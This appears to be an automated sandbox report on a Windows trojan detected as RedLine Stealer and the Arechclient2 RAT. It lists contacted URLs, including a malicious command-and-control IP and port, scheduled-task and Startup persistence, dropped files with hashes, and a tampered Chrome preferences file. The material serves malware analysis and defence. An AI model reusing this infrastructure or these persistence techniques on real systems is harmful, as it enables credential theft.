https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/chrome_newtabS	MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://t.me/donutsoft	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	false	Avira URL Cloud: safe	unknown
https://pastebin.com/raw/Ld9GfkdJPOr6	MSBuild.exe, 0000000D.00000002.1845033277.0000000002A51000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000E.00000002.1902328832.0000000003171000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 00000019.00000002.3848723015.0000000002881000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://paypal.me/donutsofthttps://patreon.com/donutsofthttps://ko-fi.com/donutsofthttps://buymeacof	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	false	Avira URL Cloud: safe	unknown
http://213.109.202.97:9000	MSBuild.exe, 0000000A.00000002.3913689241.0000000002BB1000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://213.109.202.97:9000/	content.js.10.dr	false	Avira URL Cloud: safe	unknown
http://purl.oen	MSBuild.exe, 0000000A.00000002.3938537264.00000000079D2000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://donutsoft.org/nusrHtwtb_file.tmpdonutsoftRy%02dp.%02dv.%02dm.%03dr.%s.%s.iddo%s%d%s%s%d%s%sr	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	false	Avira URL Cloud: safe	unknown
https://qiwi.com/...	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	false	Avira URL Cloud: safe	unknown
https://donutsoft.orghttps://t.me/donutsoftSubjectHello	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.info-zip.org/	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe, 00000000.00000002.1496935577.0000000005A6D000.00000004.00000020.00020000.00000000.sdmp, more.com, 00000002.00000002.1790448145.0000000004D0D000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000007.00000002.1840861986.0000000004C1F000.00000004.00000800.00020000.00000000.sdmp, more.com, 0000000B.00000002.1899025755.0000000005025000.00000004.00000800.00020000.00000000.sdmp, more.com, 00000016.00000002.3845785608.0000000004538000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://donutsoft.org	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	MSBuild.exe, 0000000A.00000002.3913689241.0000000002BB1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	MSBuild.exe, 0000000A.00000002.3913689241.0000000002FB4000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3925960520.0000000003D78000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000003054000.00000004.00000800.00020000.00000000.sdmp, MSBuild.exe, 0000000A.00000002.3913689241.0000000002FF5000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
213.109.202.97	unknown	unknown		34359	UA-LINK-ASUA	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1518760
Start date and time:	2024-09-26 01:46:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 38s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/77@0/1
EGA Information:	Successful, ratio: 40%
HCA Information:	Successful, ratio: 98% Number of executed functions: 198 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 93.184.221.240, 20.3.187.198
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, wu.ec.azureedge.net, 7.4.8.4.4.3.1.4.0.0.0.0.0.0.0.0.0.0.0.a.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, ctldl.windowsupdate.com, wu.azureedge.net, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, bg.apr-52dd2-0503.edgecastdns.net, cs11.wpc.v0cdn.net, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, hlb.apr-52dd2-0.edgecastdns.net, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net
Execution Graph export aborted for target MSBuild.exe, PID 3924 because it is empty
Execution Graph export aborted for target MSBuild.exe, PID 5188 because it is empty
Execution Graph export aborted for target MSBuild.exe, PID 5912 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe

Simulations

Behavior and APIs

Time	Type	Description
01:47:39	Task Scheduler	Run new task: AsusFCNotification path: C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe
01:47:39	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ITERHPGen.lnk
19:47:24	API Interceptor	1x Sleep call for process: 1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe modified
19:47:42	API Interceptor	3x Sleep call for process: ITERHPGen.exe modified
19:47:56	API Interceptor	2672783x Sleep call for process: MSBuild.exe modified
19:47:57	API Interceptor	3x Sleep call for process: more.com modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UA-LINK-ASUA	RCZ-PI-4057.exe	Get hash	malicious	FormBook	Browse	213.109.147.227
	APS-0240226.exe	Get hash	malicious	FormBook	Browse	213.109.147.227
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	213.109.147.66
	carrier.exe	Get hash	malicious	RedLine, SectopRAT	Browse	213.109.202.15
	download.bin.exe	Get hash	malicious	RedLine	Browse	213.109.202.229
	payment voucher.exe	Get hash	malicious	FormBook	Browse	213.109.147.227
	INRg958bSh.exe	Get hash	malicious	RedLine	Browse	213.109.202.15
	INRg958bSh.exe	Get hash	malicious	RedLine	Browse	213.109.202.15
	nwdgbFO4lQ.exe	Get hash	malicious	RedLine	Browse	213.109.202.15
	XX04oJcNHF.exe	Get hash	malicious	RedLine	Browse	213.109.202.15

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	15130
Entropy (8bit):	5.544742646813256
Encrypted:	false
SSDEEP:	384:xVknXBx1kXqKf/pUZNCgVLH2HfCdIrUobHGkkn/9r3J:xmXBx1kXqKf/pUZNCgVLH2Hf+IrUorGX
MD5:	C0759C17471FB74ADB6FB4C4997D5AB5
SHA1:	96234048EA455CEB6C017C469095D466F32A838B
SHA-256:	BA8599CA3F7BD51FA818877BFBD703C91FCF1868C1AA64628A2514A65DC5EC02
SHA-512:	EB4A9E7C76C751FAAEEE5364CF83CA97D8B2572AD0F424403298E64AD99395555ECF565495214137505578CD3CC7F82969E3600EC338F80DD5200372A6CA6A5D
Malicious:	true
Preview:	{"download":{"directory_upgrade":true,"always_open_pdf_externally":true,"extensions_to_open":"pdf:doc:docx:docxm:docm:xls:xlsx:xlsxm:xlsm:ppt:pptx:pptxm:pptm:mht:rtf:pub:vsd:mpp:mdb:dot:dotm:xlsb:xll:hwp:show:cell:hwpx:hwt:jtd:zip:iso:7z:rar:tar:vbs:js:jse:vbe:exe:html:htm:xhtml:tbz2:lz:msi"},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13340965310875704","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13340965310875704","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, e

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MSBuild.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	410
Entropy (8bit):	5.361827289088002
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTAq1KDLI4M0kvoDLI4MWuCv:ML9E4KH1qE4jE4Ks
MD5:	812F0A8C671812AA613FC139B69E8614
SHA1:	B4177437C50B25B06FB885362DA36FD171A1C5A9
SHA-256:	6D3DF2C3EA20D3A411078200AFA62DAC6AABA4210C83A2186E80195977BF0F89
SHA-512:	6A82C1F195C66FCC0533B20B8AE9B4F9CEBED6C8D7B450C574E864A60D627F3ABE32081BF65822157716F4672180E19C0DFA91D88663F7FC3CBE7FD0EB36B2EA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..

C:\Users\user\AppData\Local\Temp\527e37c9

Download File

Process:	C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe
File Type:	PNG image data, 2096 x 1532, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2522621
Entropy (8bit):	7.997350650339936
Encrypted:	true
SSDEEP:	49152:/nayErHBnMDb36cgUMepanifeqHPwiZl8Hb6ClXzbNYt1xI6Y:/nanBMPbgU1ZPwi3Yb6CJRYtLI6Y
MD5:	F477A739E2D63D878730880C77F7145F
SHA1:	F7B7640B5BF5A0FD4968334522B0609FB7CC2CC5
SHA-256:	A6217D1567EFFFC623B6087A1DBFB771604A58F4D069777E57D086AAE0378AD0
SHA-512:	B9FC9B682A90B655BE8A1191FE6160F1611F31B884B798B79025BE9D566FEDB18BDDD1BC5F4D12B796116CA848380373C5DBB738E713B519C7F1D401BE849FF8
Malicious:	false
Preview:	.PNG........IHDR...0.........V.~... .IDATx..;.$....+.U.{..F.].....F....!.....(....C...l.V......u..w.G........W\....#"......;>...{:.2..........{.....m..............`.......&......7."?...M....uM....4...... ..9g..@S.~.1....&.".0w.......`)%0..UU.K.TUE....K..K)..eY:/U.u...RZkrw)%>{UV.A...&..J)\|..,.o....n_.1&......]I.Xw.Kp.q..&.w...._...J@.6.....p..f..ip.yvh....!.Zk.1...8..)....O.....`.....i].w..3..q...W....I....p...l.1..U9\F..J..c\|Zi...p q\|8..H@@@.."....`........G.......3.p..^Jp....1....\|,........q`.Y...t9.v......Y~{)..>.uw..oY.d...\..;~<T..\w..s....R.1...n......9H0g.x.pl.@.. \|$.........F_.c...Q..D.4F.}........>..A._.B..o..w..D.....l.X..Rp.5h2..H> 3w..1..t..w.&.\|9J.Y..w.......n..\|...b....B8bT.}'.......H..A.5..?^...\'...aa?.....J....o..xY......3....f.....\...}..d.Z....7......{.\|.$c\|..J.Ld..`.J.)Qi=....`.R2...K....1....v........8.>.. p......c...F%>\|...>$....'.d..b.u.....I[.R.M......B.@e....=$.0s.....(..I>#.jtC...$g..a..#.......'.}..4.y....[..Dx.....

C:\Users\user\AppData\Local\Temp\5353bb38

Download File

Process:	C:\Users\user\Desktop\1cad1f43e4768f56d68bb2b2737b7f5eebe78e8737f38.exe
File Type:	data
Category:	modified
Size (bytes):	2567136
Entropy (8bit):	7.890435198577566
Encrypted:	false
SSDEEP:	49152:QB9wSM88aQJmj/p76iYW3NL0fBI4nSQimQWj5661IlgrVcFssErq:QWKEmN7lYC0f+4Itc5d1auQp
MD5:	ECF49E58BE542C2B1087DD748E53869F
SHA1:	29F7FE6FAE9601D80C9FB4D5040940E83CF4EABC
SHA-256:	03BB0D50A0BA7A08C62A5007BC3AF898C92352DA6F4C94AC249449E096037EAD
SHA-512:	495A989A2E39081B2B4EE3475527F17BF0A5C3F041EB584F57A41CCA0421E68019CA4E982730F518FE295B2BDC6A7FFBD1CA1D7620BE9376DDDE5D210E194248
Malicious:	false
Preview:	..................../................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................X..OX...E..hk..d...\p..dn..Xm...9..el..yv..jt..Xm...l.............................................Hv..bm..gp..Na......................................................................................Hv..nx..Bw..jw.......................................................................................N..OP..WT..yv..mm..NM..yx..\|v......................................................................}+..%,..9...........................................

C:\Users\user\AppData\Local\Temp\5d1ee590

Download File

Process:	C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe
File Type:	PNG image data, 2096 x 1532, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2522621
Entropy (8bit):	7.997350650339936
Encrypted:	true
SSDEEP:	49152:/nayErHBnMDb36cgUMepanifeqHPwiZl8Hb6ClXzbNYt1xI6Y:/nanBMPbgU1ZPwi3Yb6CJRYtLI6Y
MD5:	F477A739E2D63D878730880C77F7145F
SHA1:	F7B7640B5BF5A0FD4968334522B0609FB7CC2CC5
SHA-256:	A6217D1567EFFFC623B6087A1DBFB771604A58F4D069777E57D086AAE0378AD0
SHA-512:	B9FC9B682A90B655BE8A1191FE6160F1611F31B884B798B79025BE9D566FEDB18BDDD1BC5F4D12B796116CA848380373C5DBB738E713B519C7F1D401BE849FF8
Malicious:	false
Preview:	.PNG........IHDR...0.........V.~... .IDATx..;.$....+.U.{..F.].....F....!.....(....C...l.V......u..w.G........W\....#"......;>...{:.2..........{.....m..............`.......&......7."?...M....uM....4...... ..9g..@S.~.1....&.".0w.......`)%0..UU.K.TUE....K..K)..eY:/U.u...RZkrw)%>{UV.A...&..J)\|..,.o....n_.1&......]I.Xw.Kp.q..&.w...._...J@.6.....p..f..ip.yvh....!.Zk.1...8..)....O.....`.....i].w..3..q...W....I....p...l.1..U9\F..J..c\|Zi...p q\|8..H@@@.."....`........G.......3.p..^Jp....1....\|,........q`.Y...t9.v......Y~{)..>.uw..oY.d...\..;~<T..\w..s....R.1...n......9H0g.x.pl.@.. \|$.........F_.c...Q..D.4F.}........>..A._.B..o..w..D.....l.X..Rp.5h2..H> 3w..1..t..w.&.\|9J.Y..w.......n..\|...b....B8bT.}'.......H..A.5..?^...\'...aa?.....J....o..xY......3....f.....\...}..d.Z....7......{.\|.$c\|..J.Ld..`.J.)Qi=....`.R2...K....1....v........8.>.. p......c...F%>\|...>$....'.d..b.u.....I[.R.M......B.@e....=$.0s.....(..I>#.jtC...$g..a..#.......'.}..4.y....[..Dx.....

C:\Users\user\AppData\Local\Temp\5db178aa

Download File

Process:	C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe
File Type:	data
Category:	modified
Size (bytes):	2567136
Entropy (8bit):	7.890425211774991
Encrypted:	false
SSDEEP:	49152:uB9wSM88aQJmj/p76iYW3NL0fBI4nSQimQWj5661IlgrVcFssErq:uWKEmN7lYC0f+4Itc5d1auQp
MD5:	2C56D2FAF198E035785DB91C0B488B1B
SHA1:	706BA21466FD8B19FAD4536F00B402AE00CA2ACD
SHA-256:	63A20A6027F441D1857CBA0F1C34315D6F1F38D3B41DC16230E712ED096859CB
SHA-512:	38238509B4CED6A6E84F999A8BFEA03793569CD97E0B8E12EE1B38505B6D7C6D9CF6C5BFE49507A139ED43DEB281C5683E09B0405C017149CAC90F6CE192FDBF
Malicious:	false
Preview:	..................../................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................X..OX...E..hk..d...\p..dn..Xm...9..el..yv..jt..Xm...l.............................................Hv..bm..gp..Na......................................................................................Hv..nx..Bw..jw.......................................................................................N..OP..WT..yv..mm..NM..yx..\|v......................................................................}+..%,..9...........................................

C:\Users\user\AppData\Local\Temp\61739b62

Download File

Process:	C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe
File Type:	PNG image data, 2096 x 1532, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2522621
Entropy (8bit):	7.997350650339936
Encrypted:	true
SSDEEP:	49152:/nayErHBnMDb36cgUMepanifeqHPwiZl8Hb6ClXzbNYt1xI6Y:/nanBMPbgU1ZPwi3Yb6CJRYtLI6Y
MD5:	F477A739E2D63D878730880C77F7145F
SHA1:	F7B7640B5BF5A0FD4968334522B0609FB7CC2CC5
SHA-256:	A6217D1567EFFFC623B6087A1DBFB771604A58F4D069777E57D086AAE0378AD0
SHA-512:	B9FC9B682A90B655BE8A1191FE6160F1611F31B884B798B79025BE9D566FEDB18BDDD1BC5F4D12B796116CA848380373C5DBB738E713B519C7F1D401BE849FF8
Malicious:	false
Preview:	.PNG........IHDR...0.........V.~... .IDATx..;.$....+.U.{..F.].....F....!.....(....C...l.V......u..w.G........W\....#"......;>...{:.2..........{.....m..............`.......&......7."?...M....uM....4...... ..9g..@S.~.1....&.".0w.......`)%0..UU.K.TUE....K..K)..eY:/U.u...RZkrw)%>{UV.A...&..J)\|..,.o....n_.1&......]I.Xw.Kp.q..&.w...._...J@.6.....p..f..ip.yvh....!.Zk.1...8..)....O.....`.....i].w..3..q...W....I....p...l.1..U9\F..J..c\|Zi...p q\|8..H@@@.."....`........G.......3.p..^Jp....1....\|,........q`.Y...t9.v......Y~{)..>.uw..oY.d...\..;~<T..\w..s....R.1...n......9H0g.x.pl.@.. \|$.........F_.c...Q..D.4F.}........>..A._.B..o..w..D.....l.X..Rp.5h2..H> 3w..1..t..w.&.\|9J.Y..w.......n..\|...b....B8bT.}'.......H..A.5..?^...\'...aa?.....J....o..xY......3....f.....\...}..d.Z....7......{.\|.$c\|..J.Ld..`.J.)Qi=....`.R2...K....1....v........8.>.. p......c...F%>\|...>$....'.d..b.u.....I[.R.M......B.@e....=$.0s.....(..I>#.jtC...$g..a..#.......'.}..4.y....[..Dx.....

C:\Users\user\AppData\Local\Temp\62382b62

Download File

Process:	C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe
File Type:	data
Category:	modified
Size (bytes):	2567136
Entropy (8bit):	7.890425211774991
Encrypted:	false
SSDEEP:	49152:uB9wSM88aQJmj/p76iYW3NL0fBI4nSQimQWj5661IlgrVcFssErq:uWKEmN7lYC0f+4Itc5d1auQp
MD5:	2C56D2FAF198E035785DB91C0B488B1B
SHA1:	706BA21466FD8B19FAD4536F00B402AE00CA2ACD
SHA-256:	63A20A6027F441D1857CBA0F1C34315D6F1F38D3B41DC16230E712ED096859CB
SHA-512:	38238509B4CED6A6E84F999A8BFEA03793569CD97E0B8E12EE1B38505B6D7C6D9CF6C5BFE49507A139ED43DEB281C5683E09B0405C017149CAC90F6CE192FDBF
Malicious:	false
Preview:	..................../................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................X..OX...E..hk..d...\p..dn..Xm...9..el..yv..jt..Xm...l.............................................Hv..bm..gp..Na......................................................................................Hv..nx..Bw..jw.......................................................................................N..OP..WT..yv..mm..NM..yx..\|v......................................................................}+..%,..9...........................................

C:\Users\user\AppData\Local\Temp\d5087297

Download File

Process:	C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe
File Type:	PNG image data, 2096 x 1532, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	2522621
Entropy (8bit):	7.997350650339936
Encrypted:	true
SSDEEP:	49152:/nayErHBnMDb36cgUMepanifeqHPwiZl8Hb6ClXzbNYt1xI6Y:/nanBMPbgU1ZPwi3Yb6CJRYtLI6Y
MD5:	F477A739E2D63D878730880C77F7145F
SHA1:	F7B7640B5BF5A0FD4968334522B0609FB7CC2CC5
SHA-256:	A6217D1567EFFFC623B6087A1DBFB771604A58F4D069777E57D086AAE0378AD0
SHA-512:	B9FC9B682A90B655BE8A1191FE6160F1611F31B884B798B79025BE9D566FEDB18BDDD1BC5F4D12B796116CA848380373C5DBB738E713B519C7F1D401BE849FF8
Malicious:	false
Preview:	.PNG........IHDR...0.........V.~... .IDATx..;.$....+.U.{..F.].....F....!.....(....C...l.V......u..w.G........W\....#"......;>...{:.2..........{.....m..............`.......&......7."?...M....uM....4...... ..9g..@S.~.1....&.".0w.......`)%0..UU.K.TUE....K..K)..eY:/U.u...RZkrw)%>{UV.A...&..J)\|..,.o....n_.1&......]I.Xw.Kp.q..&.w...._...J@.6.....p..f..ip.yvh....!.Zk.1...8..)....O.....`.....i].w..3..q...W....I....p...l.1..U9\F..J..c\|Zi...p q\|8..H@@@.."....`........G.......3.p..^Jp....1....\|,........q`.Y...t9.v......Y~{)..>.uw..oY.d...\..;~<T..\w..s....R.1...n......9H0g.x.pl.@.. \|$.........F_.c...Q..D.4F.}........>..A._.B..o..w..D.....l.X..Rp.5h2..H> 3w..1..t..w.&.\|9J.Y..w.......n..\|...b....B8bT.}'.......H..A.5..?^...\'...aa?.....J....o..xY......3....f.....\...}..d.Z....7......{.\|.$c\|..J.Ld..`.J.)Qi=....`.R2...K....1....v........8.>.. p......c...F%>\|...>$....'.d..b.u.....I[.R.M......B.@e....=$.0s.....(..I>#.jtC...$g..a..#.......'.}..4.y....[..Dx.....

C:\Users\user\AppData\Local\Temp\d599b680

Download File

Process:	C:\Users\user\AppData\Roaming\ITEinboxI2CFlash\ITERHPGen.exe
File Type:	data
Category:	modified
Size (bytes):	2567136
Entropy (8bit):	7.890425211774991
Encrypted:	false
SSDEEP:	49152:uB9wSM88aQJmj/p76iYW3NL0fBI4nSQimQWj5661IlgrVcFssErq:uWKEmN7lYC0f+4Itc5d1auQp
MD5:	2C56D2FAF198E035785DB91C0B488B1B
SHA1:	706BA21466FD8B19FAD4536F00B402AE00CA2ACD
SHA-256:	63A20A6027F441D1857CBA0F1C34315D6F1F38D3B41DC16230E712ED096859CB
SHA-512:	38238509B4CED6A6E84F999A8BFEA03793569CD97E0B8E12EE1B38505B6D7C6D9CF6C5BFE49507A139ED43DEB281C5683E09B0405C017149CAC90F6CE192FDBF
Malicious:	false
Preview:	..................../................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................X..OX...E..hk..d...\p..dn..Xm...9..el..yv..jt..Xm...l.............................................Hv..bm..gp..Na......................................................................................Hv..nx..Bw..jw.......................................................................................N..OP..WT..yv..mm..NM..yx..\|v......................................................................}+..%,..9...........................................

C:\Users\user\AppData\Local\Temp\kwvvjj

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	1835524
Entropy (8bit):	5.9656438669078
Encrypted:	false
SSDEEP:	12288:qvsXZv8km0OHcbGbvzWHz0Hnquw3S+Q0ssFWylkkoAbtEPkwfNqbYS2VbICKMIUi:tfPz0H0rQ0ssFlSjYuZ2
MD5:	72CD39D8FAB3027CA08619785CB45C47
SHA1:	F259929418E0C6993B72F862C00ACF911121D36D
SHA-256:	0D6B221BA752D6758D79ABBE97C2367D5C2A0BB676E8F8DCE87466E772D9E662
SHA-512:	7F0A932A2820B6BBC7BDAA5FB46766363CE081148E96CFD66EAC159F11B97B2AA74DD1BAE9CB6B454A312049E29CF46A9A76CE8CFB3C070BAACE0E23DC2670CA
Malicious:	true
Yara Hits:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: C:\Users\user\AppData\Local\Temp\kwvvjj, Author: Joe Security Rule: JoeSecurity_RedLine, Description: Yara detected RedLine Stealer, Source: C:\Users\user\AppData\Local\Temp\kwvvjj, Author: Joe Security Rule: MALWARE_Win_Arechclient2, Description: Detects Arechclient2 RAT, Source: C:\Users\user\AppData\Local\Temp\kwvvjj, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....W.O................................. ........@.. .......................`..............................................T...W.... .......................@....................................................... ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......L....>..........T...@............................................0............. ....X..%-.&sp...sq...}-..... ....Y.~-.....UY.).... .....7...%.....~,.....[Y.)....sr...~-.....TY.)....os.........%.~t.... ....X~t.... ....X~t.... ....X(.....%.~-.....SY.)......~-.....RY.)....~0...%-.&~/.........su...%.0...(...+}.....0........... ....X..{M.....0............(..... .p..Y. ...@\...\a..Z3.+.~t.... .M..X+2~...... ....^ ...l_.3.+. 4.rc H:;..+.~t.... ...X..#.......@. ..... ....\

C:\Users\user\AppData\Local\Temp\pvrrwvlxy

Download File

Process:	C:\Windows\SysWOW64\more.com
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	modified
Size (bytes):	1835524
Entropy (8bit):	5.9656438669078
Encrypted:	false
SSDEEP:	12288:qvsXZv8km0OHcbGbvzWHz0Hnquw3S+Q0ssFWylkkoAbtEPkwfNqbYS2VbICKMIUi:tfPz0H0rQ0ssFlSjYuZ2
MD5:	72CD39D8FAB3027CA08619785CB45C47
SHA1:	F259929418E0C6993B72F862C00ACF911121D36D
SHA-256:	0D6B221BA752D6758D79ABBE97C2367D5C2A0BB676E8F8DCE87466E772D9E662
SHA-512:	7F0A932A2820B6BBC7BDAA5FB46766363CE081148E96CFD66EAC159F11B97B2AA74DD1BAE9CB6B454A312049E29CF46A9A76CE8CFB3C070BAACE0E23DC2670CA
Malicious:	true
